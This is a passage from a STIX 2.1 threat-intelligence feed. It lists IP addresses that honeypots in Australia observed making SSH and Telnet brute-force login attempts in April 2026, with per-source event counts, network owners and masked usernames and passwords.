      "created": "2026-04-27T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T04:15:10.000Z",
      "valid_until": "2026-05-29T04:15:08.000Z"
    },
    {
      "created": "2026-04-27T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, W******6.",
      "id": "indicator--7207801c-c0c3-4653-9f9d-1d9bb6a228b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.68.89.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:15:11.000Z",
      "valid_until": "2026-05-29T05:15:08.000Z"
    },
    {
      "created": "2026-04-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d6754e2b-6534-438e-bf25-8bf50157ad9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.113.109.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:15:11.000Z",
      "valid_until": "2026-05-29T05:15:08.000Z"
    },
    {
      "created": "2026-04-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--7db424a9-401e-4b28-bc46-22c7a653e203",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.212.245.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:15:11.000Z",
      "valid_until": "2026-05-29T05:15:08.000Z"
    },
    {
      "created": "2026-04-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--437e6367-1117-4588-8934-6abdaa4cbbba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:15:11.000Z",
      "valid_until": "2026-05-29T05:15:08.000Z"
    },
    {
      "created": "2026-04-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27964. Organisation(s): RSO APOLO HIDALGO S.R.L..",
      "id": "indicator--f7b4c45f-0ed8-4d82-8325-38b7310ea6ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.49.134.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:15:11.000Z",
      "valid_until": "2026-05-29T05:15:08.000Z"
    },
    {
      "created": "2026-04-27T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--992badb4-63b6-4474-a7ee-fac95ca5f33d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:15:11.000Z",
      "valid_until": "2026-05-29T05:15:08.000Z"
    },
    {
      "created": "2026-04-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--1e7593fe-ecbc-4151-86a1-c091b778292c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.14.17.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:15:11.000Z",
      "valid_until": "2026-05-29T05:15:08.000Z"
    },
    {
      "created": "2026-04-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--9d8742fa-74c5-4811-9326-32cebed63c3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.11.115.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:15:11.000Z",
      "valid_until": "2026-05-29T05:15:08.000Z"
    },
    {
      "created": "2026-04-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 39891. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--8b4c5846-da16-40c4-adb7-bbcd066f20f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.118.160.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:15:11.000Z",
      "valid_until": "2026-05-29T05:15:08.000Z"
    },
    {
      "created": "2026-04-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--505a7e46-cc3d-4b25-9ba9-a6b03d096626",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '90.25.236.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:15:11.000Z",
      "valid_until": "2026-05-29T05:15:08.000Z"
    },
    {
      "created": "2026-04-27T06:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38253. Organisation(s): Hanoi Telecom JSC. Usernames observed (masked): r**t, 3**********4, a***n, r***1. Passwords observed (masked): 3***********4, 3**********4, !********5, !**********c, 0*********!.",
      "id": "indicator--4b355d74-0433-400b-9b8a-cab27dabb4da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T06:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.172.236.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T06:15:20.000Z",
      "valid_until": "2026-05-29T06:15:08.000Z"
    },
    {
      "created": "2026-04-27T06:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 50219. Organisation(s): Valence Technology Co..",
      "id": "indicator--b933a317-3678-4f88-9822-2bfa70680431",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T06:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.226.76.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T06:15:20.000Z",
      "valid_until": "2026-05-29T06:15:08.000Z"
    },
    {
      "created": "2026-04-27T06:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 141146. Organisation(s): PT Indonesia Telekomunikasi Teknologi. Usernames observed (masked): r**t, 3**********4, a***n, r***1. Passwords observed (masked): 3***********4, 3**********4, !********5, !**********c, 0*********!.",
      "id": "indicator--9d6e2620-4476-4ff9-91f7-c5701abdccd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T06:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.253.239.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T06:15:20.000Z",
      "valid_until": "2026-05-29T06:15:08.000Z"
    },
    {
      "created": "2026-04-27T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c82ac780-5afe-4e5e-92d7-39334208d5f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '168.144.37.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T07:15:14.000Z",
      "valid_until": "2026-05-29T07:15:08.000Z"
    },
    {
      "created": "2026-04-27T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 54290. Organisation(s): Hostwinds LLC..",
      "id": "indicator--206a453f-a51f-4ff8-820c-128493fd30a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.119.111.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T07:15:14.000Z",
      "valid_until": "2026-05-29T07:15:08.000Z"
    },
    {
      "created": "2026-04-27T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 50979. Organisation(s): Green Floid LLC.",
      "id": "indicator--d63fcdb2-47cb-48e2-8558-2aa1be0c437f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.123.210.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T07:15:14.000Z",
      "valid_until": "2026-05-29T07:15:08.000Z"
    },
    {
      "created": "2026-04-27T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 21100. Organisation(s): Green Floid LLC.",
      "id": "indicator--e4330c67-a161-400e-a0ab-b947df1af1e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.123.219.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T07:15:14.000Z",
      "valid_until": "2026-05-29T07:15:08.000Z"
    },
    {
      "created": "2026-04-27T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--f98f9128-6af2-480a-9bc3-1a80fbba66ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '67.102.7.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T07:15:14.000Z",
      "valid_until": "2026-05-29T07:15:08.000Z"
    },
    {
      "created": "2026-04-27T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, h******!, r********6.",
      "id": "indicator--0a35c22f-e570-40e1-bc4c-f1c97b5000e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.218.243.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T08:15:12.000Z",
      "valid_until": "2026-05-29T08:15:08.000Z"
    },
    {
      "created": "2026-04-27T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--09ef3c5f-7b47-49eb-b5a2-b6d0dac5c770",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.199.145.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T08:15:12.000Z",
      "valid_until": "2026-05-29T08:15:08.000Z"
    },
    {
      "created": "2026-04-27T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--243e9797-f7d9-4a3a-90b7-42210ab62a37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.232.114.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T08:15:12.000Z",
      "valid_until": "2026-05-29T08:15:08.000Z"
    },
    {
      "created": "2026-04-27T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA.",
      "id": "indicator--b6e8b27f-d2c8-4bbd-9b8c-fb626474769a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.115.171.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T08:15:12.000Z",
      "valid_until": "2026-05-29T08:15:08.000Z"
    },
    {
      "created": "2026-04-27T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--65d8e836-b00d-4acc-b430-db89f6ea5f0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '136.158.51.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T09:15:10.000Z",
      "valid_until": "2026-05-29T09:15:08.000Z"
    },
    {
      "created": "2026-04-27T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--86edd35d-af96-4c73-8359-a6f68a24712c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.254.133.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T09:15:10.000Z",
      "valid_until": "2026-05-29T09:15:08.000Z"
    },
    {
      "created": "2026-04-27T10:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******., P*************6, Q*******3.",
      "id": "indicator--a624793e-c8a4-410b-9df3-2990f309e521",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T10:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.1.131.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:15:35.000Z",
      "valid_until": "2026-05-29T10:15:08.000Z"
    },
    {
      "created": "2026-04-27T10:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: MX. ASN(s): 278. Organisation(s): Universidad Nacional Autonoma de Mexico.",
      "id": "indicator--89a4250b-f110-42b3-b902-2e888462c16b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T10:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '132.248.44.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:15:35.000Z",
      "valid_until": "2026-05-29T10:15:08.000Z"
    },
    {
      "created": "2026-04-27T10:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): r**t. Passwords observed (masked): A*********1.",
      "id": "indicator--f613f802-4cd3-4bf9-82b5-b7df616963b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T10:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '155.4.244.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:15:35.000Z",
      "valid_until": "2026-05-29T10:15:08.000Z"
    },
    {
      "created": "2026-04-27T10:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KH. ASN(s): 38623. Organisation(s): ISPIXP IN CAMBODIA WITH THE BEST VERVICE IN THERE.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******4, Q*******3, a******1.",
      "id": "indicator--809e80ef-9f0c-4e81-8041-61e148bec1b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T10:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.100.24.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:15:35.000Z",
      "valid_until": "2026-05-29T10:15:08.000Z"
    },
    {
      "created": "2026-04-27T10:15:35.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262797. Organisation(s): PROVALE SCM LTDA.",
      "id": "indicator--a404199b-ac2c-497f-b464-1454a5b8794a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T10:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.97.65.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:15:35.000Z",
      "valid_until": "2026-05-29T10:15:08.000Z"
    },
    {
      "created": "2026-04-27T10:15:35.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52879. Organisation(s): ABM INFORMATICA E TELECOM.",
      "id": "indicator--2682260a-4f5d-4b67-9564-ffaea004b022",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T10:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.232.233.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:15:35.000Z",
      "valid_until": "2026-05-29T10:15:08.000Z"
    },
    {
      "created": "2026-04-27T10:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 10220. Organisation(s): PT. Kreasi Sejahtera Teknologi. Usernames observed (masked): r**t. Passwords observed (masked): !********2.",
      "id": "indicator--cff5edcb-e840-4f33-99f1-47f7f1d25d0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T10:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.51.214.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:15:35.000Z",
      "valid_until": "2026-05-29T10:15:08.000Z"
    },
    {
      "created": "2026-04-27T10:15:35.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56044. Organisation(s): China Mobile communications corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8490b81e-a256-4d8d-85ff-e812c5805ed6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T10:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.152.12.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:15:35.000Z",
      "valid_until": "2026-05-29T10:15:08.000Z"
    },
    {
      "created": "2026-04-27T11:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 202805. Organisation(s): I-TEL Pawel Bak.",
      "id": "indicator--73541bc4-4cfe-455d-b7be-258bf6232260",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T11:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '188.241.25.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T11:15:30.000Z",
      "valid_until": "2026-05-29T11:15:08.000Z"
    },
    {
      "created": "2026-04-27T11:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 24863. Organisation(s): LINKdotNET.",
      "id": "indicator--ac8e0747-2f1a-4f4d-a818-9b6d7b3c7239",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T11:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.162.16.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T11:15:30.000Z",
      "valid_until": "2026-05-29T11:15:08.000Z"
    },
    {
      "created": "2026-04-27T11:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 34700. Organisation(s): Maxnet Telecom, Ltd.",
      "id": "indicator--93a5861e-37a4-42fa-b5e2-28d780626c83",
      "labels": [
        "bruteforce"
      ],
